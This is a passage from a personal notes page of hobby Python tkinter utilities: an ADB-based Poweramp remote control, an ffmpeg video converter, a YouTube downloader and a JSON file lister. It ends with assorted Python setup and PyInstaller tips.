Playing", font=('Arial', 11, 'bold'), bg='#1a1a1a', fg='white', padx=10, pady=10) track_info_frame.pack(fill=tk.X, pady=(0, 20)) # Track Info Checkboxes Frame checkbox_frame = tk.Frame(track_info_frame, bg='#1a1a1a') checkbox_frame.pack(fill=tk.X, pady=(0, 10)) # Left side checkboxes left_checkbox_frame = tk.Frame(checkbox_frame, bg='#1a1a1a') left_checkbox_frame.pack(side=tk.LEFT, anchor=tk.W) self.track_info_checkbox = tk.Checkbutton(left_checkbox_frame, text="Fetch track info", variable=self.fetch_track_info, font=('Arial', 10), bg='#1a1a1a', fg='white', selectcolor='#333333', activebackground='#1a1a1a', activeforeground='white') self.track_info_checkbox.pack(anchor=tk.W) # Notification checkbox self.notification_checkbox = tk.Checkbutton(left_checkbox_frame, text="Show taskbar notifications", variable=self.show_notifications, font=('Arial', 10), bg='#1a1a1a', fg='white', selectcolor='#333333', activebackground='#1a1a1a', activeforeground='white') self.notification_checkbox.pack(anchor=tk.W, pady=(5, 0)) # Right side refresh button refresh_button = tk.Button(checkbox_frame, text="šŸ”„ Refresh", command=self.fetch_current_track_info, font=('Arial', 9), bg='#333333', fg='white', activebackground='#444444', activeforeground='white', relief=tk.FLAT, padx=10, pady=2) refresh_button.pack(side=tk.RIGHT) # Track Info Display track_display_frame = tk.Frame(track_info_frame, bg='#2d2d2d', padx=10, pady=10) track_display_frame.pack(fill=tk.X) self.track_info_label = tk.Label(track_display_frame, textvariable=self.track_info_text, font=('Arial', 10), fg='#4CAF50', bg='#2d2d2d', justify=tk.LEFT, wraplength=400, height=3) self.track_info_label.pack(anchor=tk.W) # File Picker Section file_picker_frame = tk.LabelFrame(main_frame, text="File Picker", font=('Arial', 11, 'bold'), bg='#1a1a1a', fg='white', padx=10, pady=10) file_picker_frame.pack(fill=tk.BOTH, expand=True, pady=(0, 20)) # Load Files Button load_files_button = tk.Button(file_picker_frame, text="šŸ“‚ Load Music Files", command=self.load_music_files, font=('Arial', 10), bg='#2d2d2d', fg='white', activebackground='#3d3d3d', activeforeground='white', relief=tk.FLAT, padx=10, pady=4) load_files_button.pack(pady=(0, 5)) # Send Button send_button = tk.Button(file_picker_frame, text="ā–¶ Play Selected File", command=self.send_selected_file, font=('Arial', 11, 'bold'), bg='#4CAF50', fg='white', activebackground='#45a049', activeforeground='white', relief=tk.FLAT, padx=10, pady=4) send_button.pack(pady=(5, 0)) # Files Listbox with Scrollbar listbox_frame = tk.Frame(file_picker_frame, bg='#1a1a1a') listbox_frame.pack(fill=tk.BOTH, expand=True) scrollbar = tk.Scrollbar(listbox_frame, bg='#333333') scrollbar.pack(side=tk.RIGHT, fill=tk.Y) self.files_listbox = tk.Listbox(listbox_frame, yscrollcommand=scrollbar.set, bg='#333333', fg='white', selectbackground='#4CAF50', selectforeground='white', font=('Arial', 9), height=6) self.files_listbox.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) self.files_listbox.bind('<>', self.on_file_select) scrollbar.config(command=self.files_listbox.yview) # Selected File Info selected_frame = tk.Frame(file_picker_frame, bg='#1a1a1a') selected_frame.pack(fill=tk.X, pady=(10, 5)) selected_label = tk.Label(selected_frame, text="Selected:", font=('Arial', 9), fg='#cccccc', bg='#1a1a1a') selected_label.pack(side=tk.LEFT) self.selected_file_label = tk.Label(selected_frame, textvariable=self.selected_file_path, font=('Arial', 9), fg='#4CAF50', bg='#1a1a1a', wraplength=350) self.selected_file_label.pack(side=tk.LEFT, padx=(5, 0)) # Restart Button self.restart_button = tk.Button(main_frame, text="šŸ”„ Restart ADB", command=self.restart, font=('Arial', 11), bg='#2d2d2d', fg='white', activebackground='#3d3d3d', activeforeground='white', relief=tk.FLAT, padx=20, pady=12) self.restart_button.pack(pady=(0, 10)) # Fetch IP Button self.fetch_button = tk.Button(main_frame, text="šŸ“” Fetch IP Automatically", command=self.auto_fetch_ip, font=('Arial', 11), bg='#2d2d2d', fg='white', activebackground='#3d3d3d', activeforeground='white', relief=tk.FLAT, padx=20, pady=12) self.fetch_button.pack(pady=(0, 20)) # Status Frame status_display_frame = tk.Frame(main_frame, bg='#2d2d2d', padx=15, pady=15) status_display_frame.pack(fill=tk.X) status_title = tk.Label(status_display_frame, text="Status", font=('Arial', 10, 'bold'), fg='#cccccc', bg='#2d2d2d') status_title.pack(anchor=tk.W) self.status_label = tk.Label(status_display_frame, textvariable=self.status_text, font=('Arial', 10), fg='#4CAF50', bg='#2d2d2d', justify=tk.LEFT, wraplength=400) self.status_label.pack(anchor=tk.W, pady=(5, 0)) # Key Bindings Info keybind_frame = tk.Frame(main_frame, bg='#1a1a1a', padx=10, pady=10) keybind_frame.pack(fill=tk.X, pady=(10, 0)) keybind_title = tk.Label(keybind_frame, text="Media Key Bindings (pynput only):", font=('Arial', 10, 'bold'), fg='#cccccc', bg='#1a1a1a') keybind_title.pack(anchor=tk.W) keybind_info = tk.Label(keybind_frame, text="• Play/Pause: Media Play/Pause Key\n• Next Track: Media Next Key\n• Previous Track: Media Previous Key", font=('Arial', 9), fg='#999999', bg='#1a1a1a', justify=tk.LEFT) keybind_info.pack(anchor=tk.W, pady=(5, 0)) # Version/Attribution attribution = tk.Label(main_frame, text="Poweramp Remote", font=('Arial', 8), fg='#666666', bg='#1a1a1a') attribution.pack(side=tk.BOTTOM, pady=(10, 0)) def show_notification(self, title, message): """Show taskbar notification""" try: notification.notify( title=title, message=message, app_name="Poweramp Remote", timeout=3, # 3 seconds app_icon=None # You can add an icon file path here if desired ) except Exception as e: print(f"Error showing notification: {e}") def encode_uri_like_js(self, uri): """Encode URI like JavaScript's encodeURI function""" safe_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789;,/?:@&=+$-_.!~*'()#" encoded_parts = [] for char in uri: if char in safe_chars: encoded_parts.append(char) elif char == ' ': encoded_parts.append('%20') elif char == "'": encoded_parts.append("%27") else: encoded_parts.append(quote(char, safe='')) return ''.join(encoded_parts) def load_music_files(self): """Load music files from the remote URL""" list_url = 'https://alcea-wisteria.de/PHP/0demo/2025-12-22-DeviceNAppCtrl/[Android]_Poweramp%E2%80%90(Tasker)(20251222)/0ld/list.txt' def fetch_files(): try: self.update_status("Loading music files list...") response = requests.get(list_url, timeout=10) if response.status_code == 200: lines = response.text.strip().split('\n') self.files_list = [line.strip() for line in lines if line.strip()] self.files_listbox.delete(0, tk.END) for file_path in self.files_list: display_name = self.extract_display_name(file_path) self.files_listbox.insert(tk.END, display_name) self.update_status(f"Loaded {len(self.files_list)} music files") else: self.update_status(f"Failed to load files. Status code: {response.status_code}", "error") except requests.exceptions.RequestException as e: self.update_status(f"Network error: {str(e)}", "error") except Exception as e: self.update_status(f"Error loading files: {str(e)}", "error") threading.Thread(target=fetch_files, daemon=True).start() def extract_display_name(self, file_path): """Extract display name from file path (matches HTML logic)""" if '/mobile/' in file_path: parts = file_path.split('/mobile/') if len(parts) > 1: return parts[1] path_parts = [part for part in file_path.split('/') if part.strip() != ''] return '/'.join(path_parts[-2:]) if len(path_parts) >= 2 else file_path def convert_file_path(self, file_path): """Convert file path from /mnt/media_rw to /sdcard (matches HTML logic)""" return file_path.replace('/mnt/media_rw', '/sdcard') def on_file_select(self, event): """Handle file selection from listbox""" selection = self.files_listbox.curselection() if selection: index = selection[0] if 0 <= index < len(self.files_list): original_path = self.files_list[index] display_name = self.extract_display_name(original_path) self.selected_file_path.set(display_name) self.files_listbox.selected_index = index def send_selected_file(self): """Send selected file to Poweramp via ADB""" if not hasattr(self.files_listbox, 'selected_index'): self.update_status("No file selected", "error") return index = self.files_listbox.selected_index if 0 <= index < len(self.files_list): original_path = self.files_list[index] self.play_file_via_adb(original_path) def play_file_via_adb(self, original_path): """Play a file via ADB using EXACTLY the method from the HTML""" try: ip_address = self.ip_address.get() port = self.port.get() if not ip_address or not port: self.update_status("Error: IP and Port must be specified", "error") return android_path = self.convert_file_path(original_path) file_url = f"file://{android_path}" encoded_file_url = self.encode_uri_like_js(file_url) adb_command = f'am start -a android.intent.action.VIEW -d "{encoded_file_url}" -t "audio/mpeg" -n com.maxmpz.audioplayer/.MainActivity' # adb_command = f'am start -n com.maxmpz.audioplayer/.PlayerUIActivity -a android.intent.action.VIEW -d "{encoded_file_url}" -t audio/mpeg' full_adb_command = f'adb -s {ip_address}:{port} shell "{adb_command}"' display_name = self.extract_display_name(original_path) self.update_status(f"Sending file to Poweramp: {display_name}...") def run_command(): try: result = subprocess.run(full_adb_command, shell=True, capture_output=True, text=True, timeout=10) if result.returncode == 0: self.update_status(f"Playing: {display_name}") self.connection_status.set("Connected") self.connection_status_label.config(fg='#4CAF50') # Show notification with file name immediately if self.show_notifications.get(): self.show_notification("Poweramp Remote", f"Now Playing:\n{display_name}") # Fetch track info if enabled if self.fetch_track_info.get(): self.fetch_current_track_info() else: alt_command = f'adb -s {ip_address}:{port} shell \'{adb_command}\'' alt_result = subprocess.run(alt_command, shell=True, capture_output=True, text=True, timeout=10) if alt_result.returncode == 0: self.update_status(f"Playing: {display_name}") self.connection_status.set("Connected") self.connection_status_label.config(fg='#4CAF50') # Show notification with file name immediately if self.show_notifications.get(): self.show_notification("Poweramp Remote", f"Now Playing:\n{display_name}") if self.fetch_track_info.get(): self.fetch_current_track_info() else: error_msg = alt_result.stderr if alt_result.stderr else alt_result.stdout self.update_status(f"Error: {error_msg[:100]}...", "error") self.connection_status.set("Connection Failed") except subprocess.TimeoutExpired: self.update_status("Command timed out", "error") except Exception as e: self.update_status(f"Error: {str(e)}", "error") threading.Thread(target=run_command, daemon=True).start() except Exception as e: self.update_status(f"Error: {str(e)}", "error") def fetch_current_track_info(self, from_command=False): """Fetch current playing track info using adb shell dumpsys media_session""" try: ip_address = self.ip_address.get() port = self.port.get() if not ip_address or not port: self.update_status("Error: IP and Port must be specified", "error") return dumpsys_command = f'adb -s {ip_address}:{port} shell "dumpsys media_session | grep \'description=\' | sed \'s/.*description=\\([^,]*\\), \\([^,]*\\),.*/\\1 - \\2/\'"' def run_track_info(): try: result = subprocess.run(dumpsys_command, shell=True, capture_output=True, text=True, timeout=5) if result.returncode == 0: output = result.stdout.strip() if output: track_info = output.strip() self.track_info_text.set(track_info) self.update_status(f"Track info updated") # Show notification if enabled and track info changed if (self.show_notifications.get() and track_info != self.last_track_info and track_info != "No track info available (not playing)"): # Only show "Now Playing" notifications (not generic action notifications) self.show_notification("Poweramp Remote", f"Now Playing:\n{track_info}") self.last_track_info = track_info else: self.track_info_text.set("No track info available (not playing)") else: self.track_info_text.set(f"Error fetching track info") except subprocess.TimeoutExpired: self.track_info_text.set("Track info fetch timed out") except Exception as e: self.track_info_text.set(f"Error: {str(e)[:100]}") threading.Thread(target=run_track_info, daemon=True).start() except Exception as e: self.track_info_text.set(f"Error: {str(e)[:100]}") def handle_key_press(self, key): """Handle media key presses - Only use pynput, no double triggers""" # Prevent rapid-fire keypresses if self.is_processing_keypress: return self.is_processing_keypress = True try: # Standard media keys if key == keyboard.Key.media_play_pause: self.send_adb_command(1) # Poweramp API command for play/pause elif key == keyboard.Key.media_next: self.send_adb_command(4) # Poweramp API command for next track elif key == keyboard.Key.media_previous: self.send_adb_command(5) # Poweramp API command for previous track # Album navigation - NOT standard media keys, use number keys if needed # elif hasattr(key, 'char') and key.char == '7': # self.send_adb_command(7) # Next album # elif hasattr(key, 'char') and key.char == '6': # self.send_adb_command(6) # Previous album except Exception as e: print(f"Key press error: {e}") finally: # Reset after a short delay to prevent rapid-fire presses self.window.after(300, lambda: setattr(self, 'is_processing_keypress', False)) def send_adb_command(self, command): """Send standard Poweramp API commands with debouncing""" try: ip_address = self.ip_address.get() port = self.port.get() if not ip_address or not port: self.update_status("Error: IP and Port must be specified", "error") return adb_shell_command = f"adb -s {ip_address}:{port} shell am broadcast 'intent:#Intent;action=com.maxmpz.audioplayer.API_COMMAND;package=com.maxmpz.audioplayer;i.cmd={command};end'" # Update status commands = { 1: "Play/Pause", 4: "Next Track", 5: "Previous Track", 6: "Previous Album", 7: "Next Album" } command_name = commands.get(command, 'Unknown') self.update_status(f"Sending command: {command_name}...") # REMOVED: Generic notification for track navigation - we'll wait for actual track info # Run command in thread to prevent UI freezing def run_command(): try: result = subprocess.run(adb_shell_command, shell=True, capture_output=True, text=True) if result.returncode == 0: self.update_status(f"Command sent successfully: {command_name}") self.connection_status.set("Connected") self.connection_status_label.config(fg='#4CAF50') # Fetch track info after command if checkbox is checked if self.fetch_track_info.get(): import time time.sleep(0.5) self.fetch_current_track_info() else: self.update_status(f"Error sending command: {result.stderr}", "error") self.connection_status.set("Connection Failed") except Exception as e: self.update_status(f"Error: {str(e)}", "error") threading.Thread(target=run_command, daemon=True).start() except Exception as e: self.update_status(f"Error: {str(e)}", "error") def restart(self): """Restart ADB server""" try: ip_address = self.ip_address.get() port = self.port.get() if not ip_address or not port: self.update_status("Error: IP and Port must be specified", "error") return command = f'adb kill-server && adb start-server && adb connect {ip_address}:{port}' self.update_status("Restarting ADB server...") def run_restart(): try: subprocess.Popen(['cmd.exe', '/c', 'start', 'cmd.exe', '/k', command]) self.update_status("ADB restart initiated in new terminal") except Exception as e: self.update_status(f"Error restarting ADB: {str(e)}", "error") threading.Thread(target=run_restart, daemon=True).start() except Exception as e: self.update_status(f"Error: {str(e)}", "error") def auto_fetch_ip(self): """Fetch IP from the remote URL""" url = "https://alcea-wisteria.de/PHP/0demo/2025-12-22-DeviceNAppCtrl/%5BAndroid%5D_General-Fetch-DeviceIP-%2820251223%29/address.txt" def fetch(): try: self.update_status("Fetching IP address from remote server...") response = requests.get(url, timeout=10) if response.status_code == 200: ip = response.text.strip() if ip: self.ip_address.set(ip) self.update_status(f"IP fetched successfully: {ip}") else: self.update_status("No IP address found in response", "warning") else: self.update_status(f"Failed to fetch IP. Status code: {response.status_code}", "error") except requests.exceptions.RequestException as e: self.update_status(f"Network error: {str(e)}", "error") except Exception as e: self.update_status(f"Error: {str(e)}", "error") threading.Thread(target=fetch, daemon=True).start() def update_status(self, message, msg_type="info"): """Update status message with color coding""" colors = { "info": "#4CAF50", "error": "#ff6b6b", "warning": "#ffa726" } timestamp = datetime.now().strftime("%H:%M:%S") self.status_text.set(f"[{timestamp}] {message}") self.status_label.config(fg=colors.get(msg_type, "#4CAF50")) # Auto-clear info messages after 5 seconds if msg_type == "info": self.window.after(5000, lambda: self.clear_status_if_old(timestamp)) def clear_status_if_old(self, timestamp): """Clear status if it's still showing the old timestamp""" current_status = self.status_text.get() if f"[{timestamp}]" in current_status: self.status_text.set("Ready") self.status_label.config(fg="#4CAF50") def run(self): self.window.mainloop() def __del__(self): if hasattr(self, 'keyboard_listener'): self.keyboard_listener.stop() if __name__ == "__main__": app = ADBAudioControl() app.run() __________________ Video Converter GUI (ffmpeg) ------------------------------- import tkinter as tk from tkinter import filedialog from tkinter import ttk import subprocess from tqdm import tqdm import configparser import os settings_file = "videoconverter_settings.ini" settings = configparser.ConfigParser() if os.path.exists(settings_file): settings.read(settings_file) # Create the settings.ini file if it doesn't exist if not os.path.exists(settings_file): settings.add_section("General") settings.set("General", "OutputPath", "") with open(settings_file, "w") as configfile: settings.write(configfile) def calculate_bitrate(width, height, mode): if mode == 'CBR': if width <= 640 and height <= 480: return 500 elif width <= 1280 and height <= 720: return 1000 elif width <= 1920 and height <= 1080: return 2000 else: return 4000 def open_folder_picker(): folder_path = filedialog.askdirectory() output_path_var.set(folder_path) settings.set("General", "OutputPath", folder_path) with open(settings_file, "w") as configfile: settings.write(configfile) def convert_videos(): filetypes = (("Video files", "*.mp4 *.avi"), ("All files", "*.*")) filenames = filedialog.askopenfilenames(filetypes=filetypes) resolution = resolution_var.get() bitrate_mode = bitrate_var.get() output_path = output_path_var.get() if not output_path: output_path = filedialog.askdirectory() settings.set("General", "OutputPath", output_path) with open(settings_file, "w") as configfile: settings.write(configfile) for filename in filenames: output_filename = os.path.join(output_path, filename.split('/')[-1]) command = ['ffmpeg', '-i', filename] command += ['-vf', f"scale={resolution}"] width, height = map(int, resolution.split('x')) bitrate = calculate_bitrate(width, height, bitrate_mode) command += ['-b:v', f"{bitrate}k"] command.append(output_filename) with tqdm(total=100, ncols=80, bar_format='{l_bar}{bar}| {n_fmt}/{total_fmt}') as pbar: process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE) for line in process.stderr: line = line.decode().strip() if line.startswith('frame='): frame = int(line.split('frame=')[1].split()[0]) pbar.update(frame - pbar.n) progress_var.set(pbar.n) progress_text.insert(tk.END, line + '\n') progress_text.see(tk.END) print(f"Converted {filename} to {output_filename}") root = tk.Tk() root.title("Video Converter") resolution_frame = tk.Frame(root) resolution_frame.pack(pady=10) resolution_label = tk.Label(resolution_frame, text="Resolution:") resolution_label.pack(side=tk.LEFT) # Dropdown menu with video resolutions resolution_var = tk.StringVar(value="640x480") resolution_dropdown = tk.OptionMenu(resolution_frame, resolution_var, "640x480", "1280x720", "1920x1080") resolution_dropdown.pack(side=tk.LEFT) bitrate_frame = tk.Frame(root) bitrate_frame.pack(pady=10) bitrate_label = tk.Label(bitrate_frame, text="Bitrate Mode:") bitrate_label.pack(side=tk.LEFT) bitrate_var = tk.StringVar(value="CBR") bitrate_cbr_radio = tk.Radiobutton(bitrate_frame, text="CBR", variable=bitrate_var, value="CBR") bitrate_cbr_radio.pack(side=tk.LEFT) bitrate_vbr_radio = tk.Radiobutton(bitrate_frame, text="VBR", variable=bitrate_var, value="VBR") bitrate_vbr_radio.pack(side=tk.LEFT) output_path_frame = tk.Frame(root) output_path_frame.pack(pady=10) output_path_label = tk.Label(output_path_frame, text="Output Path:") output_path_label.pack(side=tk.LEFT) output_path_var = tk.StringVar(value=settings.get("General", "OutputPath", fallback="")) output_path_entry = tk.Entry(output_path_frame, textvariable=output_path_var, state="readonly") output_path_entry.pack(side=tk.LEFT, fill=tk.X, expand=True) folder_picker_button = tk.Button(output_path_frame, text="Select Folder", command=open_folder_picker) folder_picker_button.pack(side=tk.LEFT) progress_text = tk.Text(root, height=10, width=50) progress_text.pack(pady=10) progress_var = tk.DoubleVar(value=0.0) progress_bar = ttk.Progressbar(root, variable=progress_var, maximum=100) progress_bar.pack(pady=10) convert_button = tk.Button(root, text="Convert", command=convert_videos) convert_button.pack(pady=10) root.mainloop() ________________________________ Youtube Downloader: ------------------- import tkinter as tk from pytube import YouTube from tkinter import ttk import os def download(): # Get the URL from the text box url = url_textbox.get() # Create a YouTube object yt = YouTube(url) # Get the video format from the radio buttons if mp4_radio_button.get(): video_format = "mp4" extension = ".mp4" res = res_textbox.get() stream = yt.streams.filter(res=res).first() else: video_format = "mp3" extension = ".mp3" streams = yt.streams.filter(only_audio=True).all() # Create a new window to display the available audio streams stream_window = tk.Toplevel(root) stream_window.title("Select Audio Stream") # Display the available audio streams in a listbox stream_listbox = tk.Listbox(stream_window) for stream in streams: stream_listbox.insert(tk.END, f"{stream.abr} ({stream.mime_type})") stream_listbox.pack(padx=10, pady=10) def select_stream(): # Get the selected stream selected_stream_index = stream_listbox.curselection()[0] selected_stream = streams[selected_stream_index] # Destroy the stream window stream_window.destroy() # Set up the progress bar progress_bar["maximum"] = selected_stream.filesize progress_bar["value"] = 0 # Set up the title label title_label.config(text=f"Downloading: {yt.title}") # Download the audio filename = yt.title.encode('utf-8') + extension selected_stream.download(output_path="downloads", filename=filename) # Reset the progress bar and title label progress_bar["value"] = 0 title_label.config(text="") # Create a select button to download the selected audio stream select_button = tk.Button(stream_window, text="Select", command=select_stream) select_button.pack(padx=10, pady=10) # Wait for the user to select a stream stream_window.wait_window() # Download the video or audio filename = yt.title + extension stream.download(output_path="downloads", filename=filename) # Reset the progress bar and title label progress_bar["value"] = 0 title_label.config(text="") def open_download_folder(): # Open the download folder os.startfile(os.path.abspath("downloads")) def check_url(*args): # Get the URL from the text box url = url_textbox.get() # Replace https://m.youtube. with https://www.youtube. url = url.replace("https://m.youtube.", "https://www.youtube.") # Check if the URL is valid if not url.startswith("https://www.youtube.com/watch?v="): return # Create a YouTube object yt = YouTube(url) # Get the available audio streams streams = yt.streams.filter(only_audio=True).all() # Create a new window to display the available audio streams stream_window = tk.Toplevel(root) stream_window.title("Select Audio Stream") # Display the available audio streams in a listbox stream_listbox = tk.Listbox(stream_window) for stream in streams: stream_listbox.insert(tk.END, f"{stream.abr} ({stream.mime_type})") stream_listbox.pack(padx=10, pady=10) def select_stream(): # Get the selected stream selected_stream_index = stream_listbox.curselection()[0] selected_stream = streams[selected_stream_index] # Destroy the stream window stream_window.destroy() # Set up the progress bar progress_bar["maximum"] = selected_stream.filesize progress_bar["value"] = 0 # Set up the title label title_label.config(text=f"Downloading: {yt.title}") # Download the audio filename = yt.title + ".mp3" selected_stream.download(output_path="downloads", filename=filename) # Reset the progress bar and title label progress_bar["value"] = 0 title_label.config(text="") # Create a select button to download the selected audio stream select_button = tk.Button(stream_window, text="Select", command=select_stream) select_button.pack(padx=10, pady=10) # Wait for the user to select a stream stream_window.wait_window() # Create the GUI root = tk.Tk() root.title("YouTube Downloader") # Create the text box for the video resolution res_textbox = tk.Entry(root, width=10) res_textbox.pack() res_textbox.insert(0, "360p") # Create the text box for the URL url_textbox =tk.Entry(root, width=50) url_textbox.pack(padx=10, pady=10) url_textbox.bind("", check_url) # Create the radio buttons to choose the download format mp4_radio_button = tk.BooleanVar(value=True) mp4_radio = ttk.Radiobutton(root, text="MP4", variable=mp4_radio_button, value=True) mp4_radio.pack() mp3_radio = ttk.Radiobutton(root, text="MP3", variable=mp4_radio_button, value=False) mp3_radio.pack() # Create the download button download_button = tk.Button(root, text="Download", command=download) download_button.pack(padx=10, pady=10) # Create the progress bar progress_bar = ttk.Progressbar(root, orient=tk.HORIZONTAL, length=300, mode="determinate") progress_bar.pack(padx=10, pady=10) # Create the title label title_label = tk.Label(root, text="") title_label.pack(padx=10, pady=10) # Create the button to open the download folder open_folder_button = tk.Button(root, text="Open Download Folder", command=open_download_folder) open_folder_button.pack(padx=10, pady=10) # Start the GUI root.mainloop() _________________________________________________________________________ MeteoCtrl Lister (with date search, keyword search and hyperlink support): ------------------------------------------------------------------------ import os import sys import tkinter as tk from datetime import datetime, timezone, timedelta directory = r'C:\Konfi-Data\Export\json' german_tz = timezone(timedelta(hours=1), 'CET') def display_files(file_list): for file in file_list: file_path = os.path.join(directory, file) file_time = os.path.getmtime(file_path) dt = datetime.fromtimestamp(file_time, tz=timezone.utc) german_time = dt.astimezone(german_tz) file_timestamp = f'{file} - {german_time.strftime("%d/%m/%Y %I:%M:%S %p")} ({german_tz.tzname(None)})' file_label = tk.Label(root, text=file_timestamp, anchor='w', justify='left', fg='blue', cursor='hand2') file_label.pack(fill='x') file_label.bind('', lambda event, file_path=file_path: open_file(file_path)) def open_file(file_path): try: with open(file_path, 'r') as f: file_content = f.read() text_editor = tk.Toplevel(root) text_editor.title(file_path) text_editor_text = tk.Text(text_editor) text_editor_text.pack(fill='both', expand=True) text_editor_text.insert('1.0', file_content) except Exception as e: tk.messagebox.showerror('Error', str(e)) def get_file_date(file): # Get the last modification time of the file last_modified_time = os.path.getmtime(os.path.join(directory, file)) # Convert the last modification time to a datetime object last_modified_datetime = datetime.fromtimestamp(last_modified_time, tz=german_tz) # Extract the date from the datetime object return last_modified_datetime.date() def search_files(keyword, date_str): # Clear the previous search results for widget in root.winfo_children(): if isinstance(widget, tk.Label) or isinstance(widget, tk.Button): widget.destroy() if keyword or date_str: count = 0 for file in file_list: file_date = get_file_date(file) if (not keyword or keyword.lower() in file.lower()) and (not date_str or file_date == datetime.strptime(date_str, "%d/%m/%Y").date()): count += 1 file_path = os.path.join(directory, file) file_time = os.path.getmtime(file_path) dt = datetime.fromtimestamp(file_time, tz=timezone.utc) german_time = dt.astimezone(german_tz) file_timestamp = f'{file} - {german_time.strftime("%d/%m/%Y %I:%M:%S %p")} ({german_tz.tzname(None)})' file_label = tk.Label(root, text=file_timestamp, anchor='w', justify='left', fg='blue', cursor='hand2') file_label.pack(fill='x') file_label.bind('', lambda event, file_path=file_path: open_file(file_path)) if keyword: with open(file_path, 'r') as f: for line in f: if keyword.lower() in line.lower(): line_label = tk.Label(root, text=line.strip(), anchor='w', justify='left') line_label.pack(fill='x') total_count.set(f'Occurrences: {count}') else: display_files(file_list_sorted) total_count.set('Occurrences: 0') def reload_program(): python = sys.executable args = [os.path.abspath(__file__)] os.execl(python, python, *args) # Close the current instance of the program root.destroy() file_list = os.listdir(directory) file_info_list = [(file, os.path.getmtime(os.path.join(directory, file))) for file in file_list] file_info_list_sorted = sorted(file_info_list, key=lambda x: x[1], reverse=True)[:100] file_list_sorted = [file_info[0] for file_info in file_info_list_sorted] root = tk.Tk() root.title('Newest 100 Files') search_entry = tk.Entry(root) search_entry.pack() filter_frame = tk.Frame(root) filter_frame.pack(side='top', fill='x') date_label = tk.Label(filter_frame, text='Date (dd/mm/yyyy) [t-todays date:]', font='Helvetica 12', anchor='w', justify='left') date_label.pack(side='left') date_entry = tk.Entry(filter_frame) date_entry.pack(side='left', padx=5) total_count = tk.StringVar() total_count.set('Occurrences: 0') count_label = tk.Label(filter_frame, textvariable=total_count, font='Helvetica 12', anchor='e', justify='right') count_label.pack(side='right', fill='x', expand=True) # Create the "RELOAD" button reload_button = tk.Button(root, text='RELOAD / F5', command=reload_program) reload_button.pack(side='top', pady=10) root.bind('', lambda event: reload_program()) display_files(file_list_sorted) root.after_id = None def on_search_entry_change(event): # Cancel any existing call to the search function if root.after_id is not None: root.after_cancel(root.after_id) # Schedule a new call to the search function in 1 second root.after_id = root.after(1500, search_files, search_entry.get(), date_entry.get()) # Check if "t" is entered in the date entry if event.widget == date_entry and event.char.lower() == "t": # Replace "t" with the current date in the format "dd/mm/yyyy" today = datetime.now(german_tz).strftime("%d/%m/%Y") date_entry.delete(0, tk.END) date_entry.insert(0, today) search_entry.bind('', on_search_entry_change) date_entry.bind('', on_search_entry_change) root.mainloop() ( Source: https://poe.com/Pythonmachine ) ============================= ===PythonHelp================= Set virtual environment (for scot free usage of special programs) ----------------------------------------------------------------- pip install virtualenv virtualenv openmmd-env openmmd-env\Scripts\activate _____________________________________________________________ Stop Win 11 from auto opening store on cmd "python" -------------------------------------------------- To prevent Windows from redirecting python to the Microsoft Store, disable the App Execution Alias for Python. Open Settings: Press Win + I to open Settings. Go to Apps > Apps & features. Manage App Execution Aliases: Scroll down and click on Manage app execution aliases. Find the Python entry in the list and toggle it off. _______________________________________________________ Set python36 as path: --------------------- setx PATH "%PATH%;C:\Users\User\AppData\Local\Programs\Python\Python36;C:\Users\User\AppData\Local\Programs\Python\Python36\Scripts" _____________________________________ Start .py without visible cmd (save as *.vbs) ----------------------------------------------- Set objShell = CreateObject("WScript.Shell") objShell.Run "C:\adb\PowerampCtrl.py", 0, True Set objShell = Nothing ________________________________ Start py with minimized cmd: --------------------------------------------- cmd /c start /min "C:\adb\PowerampCtrl.py" _________________________ Figure out url from pip installer: ---------------------------------- pip install PyQt5 --log log.txt ________________________________________ Install py for specific version: -------------------------------- C:\Users\User\AppData\Local\Programs\Python\Python310\Scripts\pip install torch-2.0.1+cu118-cp310-cp310-win_amd64.whl ________________________________________ Install whl: ------------ pip install *.whl Python2Exe ----------------- 1.) pip install --upgrade pyinstaller-gui pip install --upgrade pyinstaller Send to: ~~~~~~~~ @echo off setlocal REM Get the full path of the dropped file set "filename=%~dpnx1" REM Check if a file was dragged if "%filename%"=="" ( echo Drag and drop a Python file onto this script! pause exit /b 1 ) REM Remove .py extension from filename set "file=%filename:.py=%" set "filename=%file%" echo Building: %filename% REM Check if .ico file exists if exist "%filename%.ico" ( echo Found icon file: %filename%.ico REM Run PyInstaller WITH icon pyinstaller --noconfirm --onefile --windowed --icon "%filename%.ico" "%filename%.py" ) else ( echo No icon file found, building without icon... REM Run PyInstaller WITHOUT icon pyinstaller --noconfirm --onefile --windowed "%filename%.py" ) echo. echo Build complete! pause _________________________________________ Python on Android: ------------------ Download: termux.en.download.it/android/downloading Install the Termux app from the Play Store or F-Droid. pkg update && pkg upgrade pkg install python pkg install python-pip